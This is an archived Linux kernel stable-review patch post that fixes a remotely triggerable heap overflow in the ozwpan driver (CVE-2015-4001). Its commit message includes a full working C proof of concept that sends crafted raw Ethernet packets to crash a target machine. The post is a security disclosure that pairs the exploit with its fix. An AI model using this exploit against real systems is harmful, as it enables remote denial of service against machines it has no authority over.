Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > linux.kernel > #1167321
| From | Kamal Mostafa <kamal@canonical.com> |
|---|---|
| Newsgroups | linux.kernel |
| Subject | [PATCH 3.13.y-ckt 014/122] ozwpan: Use unsigned ints to prevent heap overflow |
| Date | 2015-06-18 01:00 +0200 |
| Message-ID | <pCutl-6Ve-47@gated-at.bofh.it> (permalink) |
| References | <pCu0j-6mo-39@gated-at.bofh.it> |
| Organization | linux.* mail to news gateway |
3.13.11-ckt22 -stable review patch. If anyone has any objections, please let me know.
------------------
From: "Jason A. Donenfeld" <Jason@zx2c4.com>
commit b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c upstream.
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Reference: CVE-2015-4001
BugLink: https://bugs.launchpad.net/bugs/1463442
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
Signed-off-by: Kamal Mostafa <kamal@canonical.com>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index d9c43c3..799587d 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -799,8 +799,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = (struct oz_port *)hport;
struct urb *urb;
@@ -812,8 +812,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
copy_len = required_size-offset;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 8531438..f7aea70 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
1.9.1
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Back to linux.kernel | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread
[3.13.y-ckt stable] Linux 3.13.11-ckt22 stable review Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:30 +0200 [PATCH 3.13.y-ckt 088/122] igb: Fix NULL assignment to incorrect variable in igb_reset_q_vector Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 113/122] ipv6: do not delete previously existing ECMP routes if add fails Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 082/122] firmware: dmi_scan: Fix ordering of product_uuid Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 089/122] ARM: net: delegate filter to kernel interpreter when imm_offset() return value can't fit into 12bits. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 122/122] ipv4/udp: Verify multicast group is ours in upd_v4_early_demux() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 029/122] serial: of-serial: Remove device_type = "serial" registration Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 092/122] ALSA: hda - Add headphone quirk for Lifebook E752 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 104/122] ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 118/122] unix/caif: sk_socket can disappear when state is unlocked Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 106/122] sd: Disable support for 256 byte/sector disks Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 115/122] net: core: Correct an over-stringent device loop detection. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 101/122] ASoC: wm8994: correct BCLK DIV 348 to 384 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 107/122] libceph: request a new osdmap if lingering request maps to no osd Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 051/122] mm/memory-failure: call shake_page() when error hits thp tail page Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 108/122] crypto: s390/ghash - Fix incorrect ghash icv buffer handling. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 114/122] ipv6: fix ECMP route replacement Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 110/122] net: phy: Allow EEE for all RGMII variants Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 109/122] ipvs: fix memory leak in ip_vs_ctl.c Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 100/122] ASoC: wm8960: fix "RINPUT3" audio route error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 087/122] spi: bitbang: Make setup_transfer() callback optional Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 083/122] ext4: fix NULL pointer dereference when journal restart fails Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 105/122] mmc: atmel-mci: fix bad variable type for clkdiv Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 116/122] x86: bpf_jit: fix compilation of large bpf programs Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 117/122] net: dp83640: fix broken calibration routine. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 120/122] udp: fix behavior of wrong checksums Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 086/122] mm, numa: really disable NUMA balancing by default on single node machines Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 102/122] Input: elantech - fix semi-mt protocol for v3 HW Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 103/122] powerpc: Align TOC to 256 bytes Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 119/122] net_sched: invoke ->attach() after setting dev->qdisc Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 085/122] jbd2: fix r_count overflows leading to buffer overflow in journal recovery Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 031/122] ALSA: emux: Fix mutex deadlock in OSS emulation Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 077/122] xhci: gracefully handle xhci_irq dead device Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 121/122] xen: netback: read hotplug script once at start of day. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 098/122] KVM: MMU: fix SMAP virtualization Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 112/122] ipv4: Avoid crashing in ip_error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 025/122] 3w-xxxx: fix command completion race Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 054/122] drm/radeon: make UVD handle checking more strict Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 111/122] bridge: fix parsing of MLDv2 reports Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 099/122] storvsc: Set the SRB flags correctly when no data transfer is needed Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200 [PATCH 3.13.y-ckt 060/122] xen-pciback: Add name prefix to global 'permissive' variable Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 063/122] thermal: step_wise: Revert optimization Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 097/122] KVM: MMU: fix CR4.SMEP=1, CR0.WP=0 with shadow pages Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 061/122] mmc: card: Don't access RPMB partitions for normal read/write Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 068/122] USB: cp210x: add ID for KCF Technologies PRN device Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 059/122] mmc: sh_mmcif: Fix timeout value for command request Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 066/122] usb: gadget: configfs: Fix interfaces array NULL-termination Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 071/122] nfsd: fix the check for confirmed openowner in nfs4_preprocess_stateid_op Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 055/122] drm/radeon: more strictly validate the UVD codec Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 058/122] pinctrl: Don't just pretend to protect pinctrl_maps, do it for real Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 080/122] drm/radeon: fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 093/122] ASoC: mc13783: Fix wrong mask value used in mc13xxx_reg_rmw() calls Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 053/122] ocfs2: dlm: fix race between purge and get lock resource Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 078/122] usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 070/122] USB: visor: Match I330 phone more precisely Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 095/122] mac80211: move WEP tailroom size check Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 081/122] drm/radeon: add new bonaire pci id Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 079/122] ARM: net fix emit_udiv() for BPF_ALU | BPF_DIV | BPF_K intruction. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 096/122] KVM: MMU: fix smap permission check Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 074/122] md/raid5: don't record new size if resize_stripes fails. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 075/122] xhci: fix isoc endpoint dequeue from advancing too far on transaction error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 064/122] libata: Add helper to determine when PHY events should be ignored Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 062/122] mmc: core: add missing pm event in mmc_pm_notify to fix hib restore Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 084/122] ext4: check for zero length extent explicitly Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 056/122] path_openat(): fix double fput() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 065/122] libata: Ignore spurious PHY event on LPM policy change Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 067/122] rtlwifi: rtl8192cu: Fix kernel deadlock Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 090/122] Drivers: hv: vmbus: Add support for VMBus panic notifier handler Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 073/122] ACPI / init: Fix the ordering of acpi_reserve_resources() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 091/122] Drivers: hv: vmbus: Correcting truncation error for constant HV_CRASH_CTL_CRASH_NOTIFY Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 094/122] ASoC: uda1380: Avoid accessing i2c bus when codec is disabled Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 052/122] nilfs2: fix sanity check of btree level in nilfs_btree_root_broken() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 072/122] svcrpc: fix potential GSSX_ACCEPT_SEC_CONTEXT decoding failures Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 076/122] xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 069/122] USB: pl2303: Remove support for Samsung I330 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 057/122] mnt: Fix fs_fully_visible to verify the root directory is visible Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200 [PATCH 3.13.y-ckt 026/122] 3w-9xxx: fix command completion race Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 034/122] powerpc/pseries: Correct cpu affinity for dlpar added cpus Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 018/122] ASoC: dapm: Enable autodisable on SOC_DAPM_SINGLE_TLV_AUTODISABLE Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 011/122] scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 043/122] ARM: dts: imx28: Fix AUART4 TX-DMA interrupt name Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 023/122] SCSI: add 1024 max sectors black list flag Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 024/122] 3w-sas: fix command completion race Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 017/122] ozwpan: unchecked signed subtraction leads to DoS Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 040/122] ARM: dts: imx23-olinuxino: Fix polarity of LED GPIO Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 020/122] ALSA: emu10k1: Fix card shortname string buffer overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 044/122] gpio: sysfs: fix memory leaks and device hotplug Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 039/122] ARM: mvebu: armada-xp-openblocks-ax3-4: Disable internal RTC Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 019/122] ALSA: hda - Fix mute-LED fixed mode Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 042/122] ARM: dts: imx25: Add #pwm-cells to pwm4 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 036/122] efivarfs: Ensure VariableName is NUL-terminated Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 041/122] ARM: dts: imx23-olinuxino: Fix dr_mode of usb0 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 030/122] tty/serial: at91: maxburst was missing for dma transfers Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 050/122] xen/events: Set irq_info->evtchn before binding the channel to CPU in __startup_pirq() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 035/122] bridge/mdb: remove wrong use of NLM_F_MULTI Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 038/122] writeback: use |1 instead of +1 to protect against div by zero Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 016/122] ozwpan: Use proper check to prevent heap overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 046/122] RDMA/CMA: Canonize IPv4 on IPV6 sockets properly Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 045/122] drm/radeon: disable semaphores for UVD V1 (v2) Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 027/122] cdc-acm: prevent infinite loop when parsing CDC headers. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 028/122] serial: xilinx: Use platform_get_irq to get irq description structure Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 048/122] drm/i915: Add missing MacBook Pro models with dual channel LVDS Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 049/122] xen/console: Update console event channel on resume Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 033/122] rbd: end I/O the entire obj_request on error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 032/122] ALSA: emu10k1: Emu10k2 32 bit DMA mode Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 015/122] ozwpan: divide-by-zero leading to panic Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 037/122] x86/efi: Store upper bits of command line buffer address in ext_cmd_line_ptr Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 014/122] ozwpan: Use unsigned ints to prevent heap overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 047/122] drm/i915: Assume dual channel LVDS if pixel clock necessitates it Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 022/122] drm/radeon: add SI DPM quirk for Sapphire R9 270 Dual-X 2G GDDR5 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200 [PATCH 3.13.y-ckt 007/122] qla2xxx: remove redundant declaration in 'qla_gbl.h' Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 002/122] vhost/scsi: potential memory corruption Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 008/122] staging: wlags49_h2: fix extern inline functions Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 012/122] udf: Remove repeated loads blocksize Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 021/122] ALSA: emux: Fix mutex deadlock at unloading Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 006/122] staging: rtl8712, rtl8712: avoid lots of build warnings Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 010/122] kconfig: Fix warning "‘jump’ may be used uninitialized" Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 001/122] Btrfs: make xattr replace operations atomic Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 005/122] staging, rtl8192e, LLVMLinux: Remove unused inline prototype Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 013/122] udf: Check length of extended attributes and allocation descriptors Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 009/122] ARM: 8307/1: psci: move psci firmware calls out of line Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200 [PATCH 3.13.y-ckt 004/122] kernel: use the gnu89 standard explicitly Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
csiph-web